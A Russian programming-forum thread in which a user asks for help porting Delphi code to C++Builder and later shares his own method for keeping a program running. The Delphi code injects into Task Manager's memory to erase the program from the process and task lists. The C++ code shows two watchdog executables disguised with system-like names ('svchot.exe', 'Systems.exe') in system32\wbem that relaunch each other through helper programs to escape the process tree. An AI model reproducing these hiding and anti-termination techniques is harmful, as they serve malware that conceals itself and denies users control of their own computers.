Форум программистов, компьютерный форум, киберфорум
C++ Builder
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.60/5: Рейтинг темы: голосов - 5, средняя оценка - 4.60
 Аватар для Vovik_0_1
40 / 40 / 6
Регистрация: 28.07.2011
Сообщений: 431

Перевод с Delphi

20.03.2012, 17:03. Показов 979. Ответов 5
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Привет всем помогите пожалуйста перевести на C++Builder

Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,CommCtrl, StdCtrls, ExtCtrls ;
 
type
  TForm1 = class(TForm)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure HideDZ(hList2: hwnd);
    procedure SearchHWND;
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
{$R *.dfm}
 
procedure TForm1.FormPaint(Sender: TObject);
begin
 Timer1.Enabled:= True;// иначе прога долго запускается
end;
 
procedure TForm1.HideDZ(hList2: hwnd);
var
vItemCount: Integer; // кол-во пунктов в списке
i: Integer;
vBuffer: array[0..255] of Char; // буфер для приема данных
vProcessId: DWORD; // идентификатор потока, который создал наш ListView
vProcess: THandle; // дескриптор для работы с процессом
vPointer: Pointer; // указатель на область выделенной памяти в чужом процессе
vNumberOfBytesRead: Cardinal;
vItem: TLVItem;
St: String;
begin
vItemCount := SendMessage(hList2, LVM_GETITEMCOUNT, 0, 0); // получаем кол-во пунктов в ListView
 
{ Получаем идентификатор потока, который создал ListView }
GetWindowThreadProcessId(hList2, @vProcessId);
{ открываем процесс связанный с vProcessId с правами записи/чтения памяти }
vProcess := OpenProcess(PROCESS_VM_OPERATION or PROCESS_VM_READ or PROCESS_VM_WRITE, False, vProcessId);
{ выделяем память в адресном пространстве этого процесса }
vPointer := VirtualAllocEx(vProcess, nil, 4096, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE);
 
try
for I := 0 to vItemCount - 1 do begin // перебираем все записи
with vItem do begin
mask := LVIF_TEXT; // запрашиваем текст
iItem := I;
iSubItem := 0; // мы получаем данные первого столбца (!!!)
cchTextMax := SizeOf(vBuffer);
pszText := Pointer(Cardinal(vPointer) + SizeOf(TLVItem)); // куда будет помешен результат
end;
WriteProcessMemory(vProcess, vPointer, @vItem, SizeOf(TLVItem), vNumberOfBytesRead);
SendMessage(hList2, LVM_GETITEM, I, lparam(vPointer));
{ считываем результат }
ReadProcessMemory(vProcess, Pointer(Cardinal(vPointer) + SizeOf(TLVItem)), @vBuffer[0], SizeOf(vBuffer), vNumberOfBytesRead);
 
St := vBuffer;
{ здесь определяем, что удалять (имя нашего .exe файла) }
if (St = ExtractFileName(Application.ExeName)) or // название проги
    (St = 'Form1')// название формы
 then SendMessage(hList2, LVM_DELETEITEM, i, 0);
end { - for - }
finally
VirtualFreeEx(vProcess, vPointer, 0, MEM_RELEASE); // освобождаем память
CloseHandle(vProcess) // закрываем дескриптор доступа к процессу
end;
end;
 
procedure TForm1.SearchHWND;
var
hTaskManager, hList, hList1: HWND;
begin
hTaskManager := FindWindow('#32770', 'Диспетчер задач Windows'); // сам диспетчер задач
if hTaskManager = 0 then exit; // выход, если диспетчер не найден
hList := FindWindowEx(hTaskManager, 0, '#32770', ''); // первый список (приложения)
hList := FindWindowEx(hList, 0, 'SysListView32', 'Процессы'); // наш список (процессы)
if hList <> 0 then  HideDZ(hList);
 
hList1 := FindWindowEx(hTaskManager, 0, '#32770', ''); //первый список (приложения)
hList1 := FindWindowEx(hList1, 0, 'SysListView32', 'Задачи'); // наш список (задачи)
 
if hList1 <> 0 then  HideDZ(hList1);
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
begin
 Form1.SearchHWND;
end;
 
end.
Вот откуда это! Как убрать .exe из Диспетчера раздач процесов
1
Лучшие ответы (1)
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
20.03.2012, 17:03
Ответы с готовыми решениями:

Перевод из Delphi 7 в Delphi XE2
Вообщем Этот код на delphi 7 спокойно компилируется: Function ResolveIP(HostName: String): String; Type tAddr = Array Of...

Перевод с Delphi на C++
Помогите, пожалуйста, перевести код на C++ Builder с Delphi. unit Unit1; interface uses Windows, Messages, SysUtils,...

Перевод из C++ в Delphi
Помогите перевести код из C++ в Delphi #include &lt;windows.h&gt; #include &lt;stdio.h&gt; #define N 101 int v,u, cross0; // 1 -...

5
 Аватар для Samrisbe
1365 / 732 / 67
Регистрация: 28.01.2011
Сообщений: 2,069
21.03.2012, 18:45
Не забывай и про комерческие Диспетчеры задач, им обычно пофене манипуляции которые кошмарят стандартный диспетчер, и вот они то как раз и прижучат твой EXE.
0
 Аватар для Vovik_0_1
40 / 40 / 6
Регистрация: 28.07.2011
Сообщений: 431
22.03.2012, 01:02  [ТС]
Согласен. Да это в принципе уже и не так важно. Я вчера научился делать так чтобы процесс нельзя было убить даже с помощью дерева процессов. Так что даже если процесс будет виден то его закрыть не смогут не через стандартный не через посторонний диспетчер.
0
 Аватар для Samrisbe
1365 / 732 / 67
Регистрация: 28.01.2011
Сообщений: 2,069
22.03.2012, 06:55
И как сделал?
0
 Аватар для агерон
447 / 300 / 65
Регистрация: 12.10.2009
Сообщений: 1,162
22.03.2012, 09:07
Лучший ответ Сообщение было отмечено как решение

Решение

Вообще - то Builder C++ в себе содержит компилятор Object Pascal и при определенной доле изворотливости можно подключать модули написанные на Pascal без переписывания на С++

P. S. в приложении пример подобного извращения :-D
Компилилось на древнем Builder C++ 6.0, другого под рукой не было, звыняйте :-D
Вложения
Тип файла: rar Test1.rar (8.4 Кб, 17 просмотров)
5
 Аватар для Vovik_0_1
40 / 40 / 6
Регистрация: 28.07.2011
Сообщений: 431
22.03.2012, 15:27  [ТС]
Возможно мой способ покажится даже смешным, но он работает. Конечно это не красиво, и не малогабаритно. А типерь по теме: Значит так, у нас есть программа которую нужно убереч от убиения например назвали её svchot.exe (все они размищены например в C:\WINDOWS\system32\wbem) типерь создадим еще одну программу "Защиту" назовем её Systems.exe Эти две программы будут следить чтобы не одну из них не закрыли. Если одну закрывают то другая её запускает! Всё бы не чего только вот в диспетчере есть дерево процессов с помощью которого можно её отключить! Для того чтобы его обойти создадим еще 2 программы которые имеют следующие коды:
Первая программа которую открывает svchot.exe
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//---------------------------------------------------------------------------
 
#include <vcl.h>
#pragma hdrstop
 
#include "Unit1.h"
#include "Registry.hpp"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
AnsiString Disk; //Диск с системой
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
/* Здесь уузнаем системный диск  */
char sDisk[128];
  strcpy(sDisk, getenv("SystemDrive"));
  Disk = AnsiString(sDisk);
}
//---------------------------------------------------------------------------
 
void __fastcall TForm1::FormShow(TObject *Sender)
{
Form1->Close();
 
}
//---------------------------------------------------------------------------
 
void __fastcall TForm1::FormCreate(TObject *Sender)
{
  if(FileExists(Disk+"\\WINDOWS\\system32\\wbem\\Systems.exe")) //Если файл есть
  {
  AnsiString Za = Disk+"\\WINDOWS\\system32\\wbem\\Systems.exe";
   ShellExecute(NULL,NULL,Za.c_str(),NULL,NULL,SW_RESTORE); //Запускаем его!
  }
}
//---------------------------------------------------------------------------
Вторая программа которую открывает Systems.exe
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//---------------------------------------------------------------------------
 
#include <vcl.h>
#pragma hdrstop
 
#include "Unit1.h"
#include "Registry.hpp"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
AnsiString Disk; //Диск с системой
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
/* Здесь уузнаем системный диск  */
char sDisk[128];
  strcpy(sDisk, getenv("SystemDrive"));
  Disk = AnsiString(sDisk);
}
//---------------------------------------------------------------------------
 
void __fastcall TForm1::FormShow(TObject *Sender)
{
Form1->Close();
 
}
//---------------------------------------------------------------------------
 
void __fastcall TForm1::FormCreate(TObject *Sender)
{
  if(FileExists(Disk+"\\WINDOWS\\system32\\wbem\\svchot.exe")) //Если файл есть
  {
  AnsiString Za = Disk+"\\WINDOWS\\system32\\wbem\\svchot.exe";
   ShellExecute(NULL,NULL,Za.c_str(),NULL,NULL,SW_RESTORE); //Запускаем его!
  }
}
//---------------------------------------------------------------------------
Смысл в том, что программа не на прямую запускает другую программу, а через дополнительную, коды которых выше! Тем самым при выполнении
C++
1
Form1->Close();
дерево процессов рушится! И мы имеем 2 независимых друг от друга процесса!
2
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
22.03.2012, 15:27
Помогаю со студенческими работами здесь

Перевод с Delphi на C
Здравствуйте. Помогите пожалуйста перевести код с Delphi на C. Заранее спасибо. unit Unit1; interface uses Windows,...

перевод с Delphi
переделываю программу с делфи и столкнулся с трудностью {МНК со степенным базисом} procedure TForm1.MNK1Click(Sender: TObject); ...

перевод из C в Delphi
Доброго времени суток! Есть код на С который считает CRC16. Его надо перевести на Delphi (использую Delphi7) /* Name : CRC-16 ...

Перевод с Delphi на C#
Помогите пожалуста перевести код с Делфи на C#: uses WinSock; const MAX_PATH = 260; function GetIP:String; var p:...

перевод в delphi
вот в паскале написано все не получ в делфи( uses crt; var x,e,s,t,y:real; i:integer; begin clrscr; write('x='); ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
6
Ответ Создать тему
Новые блоги и статьи
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Access
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru